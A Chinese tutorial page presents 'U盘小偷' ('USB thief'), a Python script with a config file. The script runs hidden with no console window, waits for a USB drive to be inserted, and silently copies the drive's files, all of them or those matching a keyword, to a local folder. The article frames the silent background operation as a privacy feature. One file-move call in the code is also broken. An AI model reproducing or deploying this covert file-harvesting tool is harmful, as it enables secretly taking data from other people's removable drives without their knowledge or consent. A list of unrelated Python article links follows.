Python实现U盘数据复制工具

 更新时间:2025年01月03日 10:20:38   作者:hvinsion  
这篇文章主要为大家详细介绍了如何使用Python实现一个U盘数据复制工具,它可以帮助用户快速、方便地将U盘中的文件复制到计算机中,希望对大家有所帮助

1. 简介

顾名思义,U盘小偷是一款功能强大的U盘数据复制工具。它可以帮助用户快速、方便地将U盘中的文件复制到计算机中,此工具简洁易用,用户只需简单更改配置文件具体参数即可完成对U盘内文件的复制工作。

功能:

  • 打包好的程序双击运行无控制台界面弹出,后台静默搜索U盘插入状态,更加隐私下载。
  • 可通过更改config.ini配置文件从而更改检索U盘的时间间隔、文件copy的目的路径、可选的copy内容等,具体可以参考以下config.ini的文档说明。
  • 可自定义选择筛选需要copy的文件内容,亦可选择全部下载。

config.ini文件相关内容

# PASTE_PATH:需要复制到电脑的文件夹路径
# KEYWORD:关键词索引,如果留空不填写则表示复制U盘下的所有文件以及文件夹
# INTERVAL_TIME:更改检查U盘是否存在的间隔时间,默认1s检查一次

[config]
PASTE_PATH = D:\usb
kEYWORD = 
INTERVAL_TIME = 5

2. 运行效果

3. 相关源码

import os
import logging
import configparser
from psutil import disk_partitions
from time import sleep
from shutil import copytree, copyfile, rmtree, move

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
 
 

    # 读取API配置
config = configparser.ConfigParser()
config.read('config.ini')
        
pastePATH = config.get('config', 'PASTE_PATH')
ukeyword = config.get('config', 'kEYWORD')
intervalTime = config.get('config', 'INTERVAL_TIME')
  
 
# 获取U盘的盘符
# disk_partitions() 打印一下他的返回值,就会完全清楚下面这个函数
def get_usb_dispart():
    for item in disk_partitions():
        if item.opts == "rw,removable": # 可读、可移动介质
            logger.info("发现USB:%s" % str(item))
            return item.device
    logger.info("没有发现USB")
    return None
 
 
# 读取想要的文件  u盘所有文件或者文件名含有某个字段的文件及文件夹
# 1、文件夹含有该字段:复制文件夹;
# 2、文件含有字段,复制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
    if select is None:# 无筛选规则,复制所有
        copytree(src, dst)
        logger.info("复制%s盘USB所有内容到%s" % (src, dst))
    else: # 复制部分
        paths = os.listdir(os.path.join(src, path)) # 获取当前路径下的所有文件及文件夹
        for item in paths:
            item = os.path.join(path, item)
            if select in item:
                if os.path.isdir(os.path.join(src, item)): #如果是文件夹,还有字符直接复制文件夹;否则递归遍历文件夹下的内容
                    try:
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        try:
                            rmtree(os.path.join(dst, item))
                        except:
                            continue
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                else:
                    try:
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        os.makedirs(os.path.dirname(os.path.join(dst, item)))
                        try:
                            move(os.path.join(dst, item))
                        except:
                            continue
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                logger.info("复制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
            else:
                if os.path.isdir(os.path.join(src, item)):
                    get_useb_file(src, item, select, dst)
 
 
if __name__ == "__main__":
    while True:
        path = get_usb_dispart()
        if path is not None:
            get_useb_file(src=path, select=ukeyword, dst=pastePATH)
            break
        sleep(int(intervalTime))

到此这篇关于Python实现U盘数据复制工具的文章就介绍到这了,更多相关Python U盘数据复制内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • Python用类实现扑克牌发牌的示例代码

    Python用类实现扑克牌发牌的示例代码

    这篇文章主要介绍了Python用类实现扑克牌发牌的示例代码,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-06-06
  • Python实现老照片修复之上色小技巧

    Python实现老照片修复之上色小技巧

    你会黑白照片上色吗,今天小编带你用python来给黑白照片上个色,这里我们借助百度AI开放平台的“黑白图像上色”接口,仅需二十行代码即可实现,感兴趣的朋友来看看吧
    2021-10-10
  • 解决python3 HTMLTestRunner测试报告中文乱码的问题

    解决python3 HTMLTestRunner测试报告中文乱码的问题

    今天小编就为大家分享一篇解决python3 HTMLTestRunner测试报告中文乱码的问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-12-12
  • Python基于requests库爬取网站信息

    Python基于requests库爬取网站信息

    这篇文章主要介绍了python基于requests库爬取网站信息,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-03-03
  • Python函数中的不定长参数相关知识总结

    Python函数中的不定长参数相关知识总结

    今天给大家带来的是关于Python函数的相关知识,文章围绕着Python不定长参数展开,文中有非常详细的介绍及代码示例,需要的朋友可以参考下
    2021-06-06
  • 使用Python实现视频拼接效果

    使用Python实现视频拼接效果

    这篇文章主要为大家详细介绍了使用Python实现视频拼接效果的两种方法,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下
    2025-02-02
  • Pandas出现KeyError的问题解决及分析

    Pandas出现KeyError的问题解决及分析

    本文主要介绍了Pandas出现KeyError的问题解决及分析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-01-01
  • Python绘图库Pyecharts可视化效果示例详解

    Python绘图库Pyecharts可视化效果示例详解

    本文将带您从零开始,逐步掌握使用Pyecharts库进行数据可视化的技能,Pyecharts是一个基于Echarts的Python可视化库,能够轻松创建各种交互式图表和地图,无论您是数据分析新手还是有经验的开发者,都能帮助您深入了解Pyecharts的使用
    2023-08-08
  • python实现从字符串中找出字符1的位置以及个数的方法

    python实现从字符串中找出字符1的位置以及个数的方法

    这篇文章主要介绍了python实现从字符串中找出字符1的位置以及个数的方法,对于Python字符串操作的学习有一定的帮助与借鉴作用,需要的朋友可以参考下
    2014-08-08
  • 高性能web服务器框架Tornado简单实现restful接口及开发实例

    高性能web服务器框架Tornado简单实现restful接口及开发实例

    Tornado和现在的主流Web服务器框架(包括大多数Python的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。得利于其 非阻塞的方式和对epoll的运用,Tornado每秒可以处理数以千计的连接,这意味着对于实时Web服务来说,Tornado是一个理想的Web框架。
    2014-07-07

最新评论